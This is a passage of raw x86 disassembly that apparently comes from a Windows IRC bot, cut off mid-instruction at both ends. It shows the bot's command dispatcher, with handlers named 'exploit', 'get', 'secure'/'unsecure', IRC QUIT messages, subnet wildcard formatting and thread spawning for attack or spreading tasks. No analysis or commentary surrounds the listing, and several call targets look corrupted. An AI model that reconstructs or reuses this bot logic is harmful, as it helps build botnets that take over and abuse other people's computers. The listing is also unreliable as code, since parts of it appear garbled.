eax, [ebp+var_37D0] push esi push eax call sub_41C266 pop ecx pop ecx jmp short loc_403C4C ; --------------------------------------------------------------------------- loc_403C21: ; CODE XREF: sub_401ACD+2141j lea eax, [ebp+var_49F4] push 104h push eax nop call near ptr 2670A44h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C3B1 add esp, 14h loc_403C4C: ; CODE XREF: sub_401ACD+2152j lea eax, [ebp+var_37D0] push eax call sub_41B9C0 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C77 lea eax, [ebp+var_37D0] push eax call sub_41B9C0 pop ecx mov [ebp+eax+var_37D1], bl loc_403C77: ; CODE XREF: sub_401ACD+2194j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B3BA add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAD6 push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403D2B loc_403D19: ; CODE XREF: sub_401ACD+225Cj cmp [ebp+var_36B0], ebx jnz short loc_403D46 push 32h nop call near ptr 2680000h jmp short loc_403D19 ; --------------------------------------------------------------------------- loc_403D2B: ; CODE XREF: sub_401ACD+224Aj call near ptr 2680880h nop push eax push offset unk_42C150 loc_403D37: ; CODE XREF: sub_401ACD+23BFj ; sub_401ACD+4BDCj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_403D46: ; CODE XREF: sub_401ACD+2252j ; sub_401ACD+23A3j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push edi jmp loc_4071A3 ; --------------------------------------------------------------------------- loc_403D56: ; CODE XREF: sub_401ACD+1AB1j ; sub_401ACD+1AC6j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D75 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403D75 push edi call sub_41C159 pop ecx jmp short loc_403D7A ; --------------------------------------------------------------------------- loc_403D75: ; CODE XREF: sub_401ACD+2292j ; sub_401ACD+229Dj mov eax, dword_429080 loc_403D7A: ; CODE XREF: sub_401ACD+22A6j mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D91 lea eax, [ebp+var_C4] loc_403D91: ; CODE XREF: sub_401ACD+22BCj push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41C360 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403DB3 mov esi, offset byte_43DB88 loc_403DB3: ; CODE XREF: sub_401ACD+22DFj push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_19E8] push [ebp+var_88] push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C114 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B3BA add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset word_41144E push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403E80 loc_403E6A: ; CODE XREF: sub_401ACD+23B1j cmp [ebp+var_1810], ebx jnz loc_403D46 push 32h nop call near ptr 2680000h jmp short loc_403E6A ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_401ACD+239Bj nop call near ptr 2680880h push eax push offset unk_42C0D8 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_403E91: ; CODE XREF: sub_401ACD+1A87j ; sub_401ACD+1A9Cj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EA4 push esi call sub_41C159 jmp short loc_403EAB ; --------------------------------------------------------------------------- loc_403EA4: ; CODE XREF: sub_401ACD+23CDj push 0Bh call sub_40B621 loc_403EAB: ; CODE XREF: sub_401ACD+23D5j cmp eax, ebx pop ecx jz loc_409644 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD1A jmp loc_404376 ; --------------------------------------------------------------------------- loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj ; sub_401ACD+1A72j mov eax, dword_4CB8F0 cmp eax, ebx jz short loc_403EE8 call eax test eax, eax jz short loc_403EE1 push offset unk_42C0B4 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE1: ; CODE XREF: sub_401ACD+240Bj push offset unk_42C088 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE8: ; CODE XREF: sub_401ACD+2405j push offset unk_42C05C loc_403EED: ; CODE XREF: sub_401ACD+2412j ; sub_401ACD+2419j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_406BFB ; --------------------------------------------------------------------------- loc_403F03: ; CODE XREF: sub_401ACD+1A33j ; sub_401ACD+1A48j call sub_40A928 test eax, eax jz short loc_403F13 push offset unk_42C038 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F13: ; CODE XREF: sub_401ACD+243Dj push offset unk_42C00C jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F1A: ; CODE XREF: sub_401ACD+1A09j ; sub_401ACD+1A1Ej cmp [ebp+var_8], ebx jnz short loc_403F39 push ebx push [ebp+var_4] push offset dword_42BFF4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403F39: ; CODE XREF: sub_401ACD+2450j push ebx push [ebp+var_4] call sub_418723 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BFD8 jmp loc_40423F ; --------------------------------------------------------------------------- loc_403F5B: ; CODE XREF: sub_401ACD+18A0j ; sub_401ACD+18B5j push 0Ah call sub_40B602 test eax, eax pop ecx jle short loc_403F6E push offset unk_42BFAC jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push [ebp+var_88] push [ebp+arg_4] call sub_41A1B1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F8A push offset unk_42BF84 jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F8A: ; CODE XREF: sub_401ACD+24B4j push offset unk_42BF64 loc_403F8F: ; CODE XREF: sub_401ACD+249Fj ; sub_401ACD+24BBj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx loc_403F9D: ; CODE XREF: sub_401ACD+5781j cmp [ebp+var_8], ebx jnz short loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j call sub_409869 add esp, 14h loc_403FBE: ; CODE XREF: sub_401ACD+24D3j ; sub_401ACD+26B0j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_4097D1 ; --------------------------------------------------------------------------- loc_403FCF: ; CODE XREF: sub_401ACD+1876j ; sub_401ACD+188Bj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A5C5 jmp loc_404260 ; --------------------------------------------------------------------------- loc_403FE8: ; CODE XREF: sub_401ACD+184Cj ; sub_401ACD+1861j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416FCF jmp loc_404260 ; --------------------------------------------------------------------------- loc_404005: ; CODE XREF: sub_401ACD+1822j ; sub_401ACD+1837j or edi, 0FFFFFFFFh call near ptr 2690794h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_40402E push esi call sub_41C159 pop ecx mov edi, eax loc_40402E: ; CODE XREF: sub_401ACD+2556j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404047 cmp edi, 0FFFFFFFFh jnz loc_409644 loc_404047: ; CODE XREF: sub_401ACD+256Fj push ebx call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF4C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_404085: ; CODE XREF: sub_401ACD+51BCj add esp, 24h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_401ACD+17F8j ; sub_401ACD+180Dj push 27h call sub_40B602 test eax, eax pop ecx jle short loc_4040BE cmp [ebp+var_8], ebx jnz loc_401F75 push ebx push [ebp+var_4] push offset unk_42BF2C loc_4040AB: ; CODE XREF: sub_401ACD+4F88j push [ebp+var_88] push [ebp+arg_4] call sub_409869 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040BE: ; CODE XREF: sub_401ACD+25CAj push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_40411F push esi push offset aFull ; "full" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40411F mov [ebp+var_B40], 1 loc_40411F: ; CODE XREF: sub_401ACD+2635j ; sub_401ACD+2646j lea eax, [ebp+var_2C4] push offset dword_42BF08 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B3BA add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419E38 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40418D loc_404177: ; CODE XREF: sub_401ACD+26BEj cmp [ebp+var_B34], ebx jnz loc_403FBE push 32h call near ptr 2680000h nop jmp short loc_404177 ; --------------------------------------------------------------------------- loc_40418D: ; CODE XREF: sub_401ACD+26A8j nop call near ptr 2680880h push eax lea eax, [ebp+var_2C4] push offset unk_42BECC push eax call sub_41C266 add esp, 0Ch jmp loc_403FBE ; --------------------------------------------------------------------------- loc_4041AD: ; CODE XREF: sub_401ACD+17CEj ; sub_401ACD+17E3j cmp [ebp+var_8], ebx jnz short loc_4041CC push ebx push [ebp+var_4] push offset unk_42BEB4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4041CC: ; CODE XREF: sub_401ACD+26E3j push [ebp+arg_4] call dword_4CBA6C call dword_4CB92C call sub_4188A6 push ebx nop call near ptr 77E75CB5h loc_4041E7: ; CODE XREF: sub_401ACD+17A4j ; sub_401ACD+17B9j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AF8F pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE9C jmp short loc_40423F ; --------------------------------------------------------------------------- loc_404212: ; CODE XREF: sub_401ACD+177Aj ; sub_401ACD+178Fj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE84 loc_40423F: ; CODE XREF: sub_401ACD+2489j ; sub_401ACD+2743j call sub_415D38 add esp, 18h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40424C: ; CODE XREF: sub_401ACD+1750j ; sub_401ACD+1765j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415DD8 loc_404260: ; CODE XREF: sub_401ACD+3C8j ; sub_401ACD+2516j ... add esp, 10h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_404268: ; CODE XREF: sub_401ACD+1726j ; sub_401ACD+173Bj cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_4042A7 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042A7 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4042A7 push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41C360 add esp, 10h loc_4042A7: ; CODE XREF: sub_401ACD+27A4j ; sub_401ACD+27AFj ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C4] push offset dword_42BE6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B3BA add esp, 14h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset byte_415E4B push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40434A loc_404334: ; CODE XREF: sub_401ACD+287Bj cmp [ebp+var_150C], ebx jnz loc_401F75 push 32h nop call near ptr 2680000h jmp short loc_404334 ; --------------------------------------------------------------------------- loc_40434A: ; CODE XREF: sub_401ACD+2865j call near ptr 2680880h nop push eax push offset unk_42BE34 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_40435B: ; CODE XREF: sub_401ACD+16FCj ; sub_401ACD+1711j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415CC0 push offset unk_42BE1C call sub_415D38 loc_404376: ; CODE XREF: sub_401ACD+23F9j add esp, 10h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40437E: ; CODE XREF: sub_401ACD+16D2j ; sub_401ACD+16E7j push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043D8 push offset dword_42BE18 push esi call sub_41CA50 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043DE ; --------------------------------------------------------------------------- loc_4043D8: ; CODE XREF: sub_401ACD+28EFj mov [ebp+var_BD8], ebx loc_4043DE: ; CODE XREF: sub_401ACD+2909j lea eax, [ebp+var_2C4] push offset dword_42BDF8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B3BA add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset byte_40B425 push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40444C loc_404436: ; CODE XREF: sub_401ACD+297Dj cmp [ebp+var_BCC], ebx jnz loc_406C1F push 32h call near ptr 2680000h nop jmp short loc_404436 ; --------------------------------------------------------------------------- loc_40444C: ; CODE XREF: sub_401ACD+2967j nop call near ptr 2680880h push eax push offset unk_42BDBC jmp loc_409091 ; --------------------------------------------------------------------------- loc_40445D: ; CODE XREF: sub_401ACD+1656j ; sub_401ACD+166Bj push offset aDarksf ; "Darksf" push offset unk_42BDA4 loc_404467: ; CODE XREF: sub_401ACD+29D9j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_406C1F ; --------------------------------------------------------------------------- loc_404494: ; CODE XREF: sub_401ACD+162Cj ; sub_401ACD+1641j push dword_4CB714 call sub_41ADD8 pop ecx push eax push offset unk_42BD78 jmp short loc_404467 ; --------------------------------------------------------------------------- loc_4044A8: ; CODE XREF: sub_401ACD+1602j ; sub_401ACD+1617j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044DA cmp [ebp+var_C], ebx jz short loc_4044E9 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4044E9 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044DA: ; CODE XREF: sub_401ACD+29E4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409823 pop ecx pop ecx loc_4044E9: ; CODE XREF: sub_401ACD+29E9j ; sub_401ACD+29F8j ... push 0FFFFFFFEh jmp loc_401F77 ; --------------------------------------------------------------------------- loc_4044F0: ; CODE XREF: sub_401ACD+15D8j ; sub_401ACD+15EDj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BD28 call sub_415D38 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F78 ; --------------------------------------------------------------------------- loc_404512: ; CODE XREF: sub_401ACD+15AEj ; sub_401ACD+15C3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BCF8 call sub_415D38 add esp, 0Ch jmp loc_4095AD ; --------------------------------------------------------------------------- loc_404531: ; CODE XREF: sub_401ACD+1584j ; sub_401ACD+1599j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA9E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404547: ; CODE XREF: sub_401ACD+155Aj ; sub_401ACD+156Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA49 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_40455D: ; CODE XREF: sub_401ACD+1530j ; sub_401ACD+1545j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B9DD jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_401ACD+1506j ; sub_401ACD+151Bj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B90E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404589: ; CODE XREF: sub_401ACD+1461j ; sub_401ACD+1476j push [ebp+esi+var_8C] push 27h push offset dword_42BCE8 push offset dword_42BCD8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1437j ; sub_401ACD+144Cj push [ebp+esi+var_8C] push 24h push offset dword_42BCCC push offset dword_42BCBC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045B9: ; CODE XREF: sub_401ACD+1050j ; sub_401ACD+1065j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045D8 push edi call sub_41C159 test eax, eax pop ecx jz short loc_4045D8 push edi call sub_41C159 pop ecx jmp short loc_4045DD ; --------------------------------------------------------------------------- loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j ; sub_401ACD+2B00j mov eax, dword_429074 loc_4045DD: ; CODE XREF: sub_401ACD+2B09j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404602 push esi loc_4045EF: ; CODE XREF: sub_401ACD+2B44j lea eax, [ebp+var_5A0] push 10h push eax call sub_41C360 add esp, 0Ch jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404602: ; CODE XREF: sub_401ACD+2B1Fj cmp [ebp+var_8FF], bl jz short loc_404613 lea eax, [ebp+var_C4] push eax jmp short loc_4045EF ; --------------------------------------------------------------------------- loc_404613: ; CODE XREF: sub_401ACD+2B3Bj mov [ebp+var_5A0], bl loc_404619: ; CODE XREF: sub_401ACD+2B33j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41C360 add esp, 0Ch push [ebp+var_590] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BC94 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset word_411BCE push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4046CA loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj cmp [ebp+var_57C], ebx jnz loc_401F75 push 32h call near ptr 2680000h nop jmp short loc_4046B4 ; --------------------------------------------------------------------------- loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j nop call near ptr 2680880h push eax push offset dword_42BC58 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4046DB: ; CODE XREF: sub_401ACD+FFDj ; sub_401ACD+1012j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4046FB push esi call sub_41C159 test ax, ax pop ecx jz short loc_4046FB push esi call sub_41C159 pop ecx jmp short loc_404701 ; --------------------------------------------------------------------------- loc_4046FB: ; CODE XREF: sub_401ACD+2C17j ; sub_401ACD+2C23j mov ax, word_429084 loc_404701: ; CODE XREF: sub_401ACD+2C2Cj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41C360 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BC2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409869 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B3BA add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40EF1C push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4047D0 loc_4047BA: ; CODE XREF: sub_401ACD+2D01j cmp [ebp+var_968], ebx jnz loc_401F75 push 32h call near ptr 2680000h nop jmp short loc_4047BA ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj nop call near ptr 2680880h push eax push offset unk_42BBEC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4047E1: ; CODE XREF: sub_401ACD+FA9j ; sub_401ACD+FBEj ... push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404809 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_404813 loc_404809: ; CODE XREF: sub_401ACD+2D23j mov [ebp+var_AA8], 1 loc_404813: ; CODE XREF: sub_401ACD+2D3Aj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40485A mov eax, offset aUnsecuring ; "Unsecuring" loc_40485A: ; CODE XREF: sub_401ACD+2D86j push eax push offset dword_42BBB8 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A366 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4048CE loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj cmp [ebp+var_A9C], ebx jnz loc_4082DE push 32h call near ptr 2680000h nop jmp short loc_4048B8 ; --------------------------------------------------------------------------- loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j nop call near ptr 2680880h push eax push offset dword_42BB7C jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj ; sub_401ACD+F94j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41ABFB loc_4048F0: ; CODE XREF: sub_401ACD+2A75j ; sub_401ACD+2A8Bj ... add esp, 0Ch jmp loc_409644 ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: sub_401ACD+F55j ; sub_401ACD+F6Aj push offset unk_42BB2C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401ACD+F2Bj ; sub_401ACD+F40j push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BB1C jmp loc_406BEF ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+F01j ; sub_401ACD+F16j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404971 push esi call sub_41C159 cmp eax, ebx pop ecx jl short loc_404966 cmp eax, 3 jge short loc_404966 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40495B lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch mov [esi], bl jmp loc_4081AD ; --------------------------------------------------------------------------- loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj push eax push offset unk_42BAF0 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404966: ; CODE XREF: sub_401ACD+2E58j ; sub_401ACD+2E5Dj push eax push offset unk_42BAC4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404971: ; CODE XREF: sub_401ACD+2E4Dj mov edi, [ebp+arg_18] xor esi, esi loc_404976: ; CODE XREF: sub_401ACD+2EC5j push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404999 inc esi add edi, 80h cmp esi, 3 jl short loc_404976 jmp loc_4081AD ; --------------------------------------------------------------------------- loc_404999: ; CODE XREF: sub_401ACD+2EB9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD50 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4049B3: ; CODE XREF: sub_401ACD+ED7j ; sub_401ACD+EECj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403446 call sub_40B583 push ebx call near ptr 77E75CB5h nop loc_4049D9: ; CODE XREF: sub_401ACD+19B1j push offset aGet ; "get" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404A67 cmp dword_4CF180, ebx jz short loc_404A01 push offset dword_4CEB60 loc_4049F7: ; CODE XREF: sub_401ACD+2F98j push offset unk_42BA88 jmp loc_404A97 ; --------------------------------------------------------------------------- loc_404A01: ; CODE XREF: sub_401ACD+2F23j push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_E24] push eax jmp short loc_4049F7 ; --------------------------------------------------------------------------- loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj push edi call dword_4CBA14 cmp eax, 0FFFFFFFFh push edi jnz short loc_404A7B push offset unk_42BA48 jmp short loc_404A97 ; --------------------------------------------------------------------------- loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j push offset dword_4CEB60 call sub_41C890 pop ecx mov dword_4CF180, 1 pop ecx push edi push offset unk_42BA1C loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj ; sub_401ACD+2FACj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_40349D ; --------------------------------------------------------------------------- loc_404AAB: ; CODE XREF: sub_401ACD+199Cj push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404BB1 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41C360 add esp, 0Ch lea eax, [ebp+var_14F8] push offset aF ; "#f" push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push edi push 10h push eax call sub_41C360 add 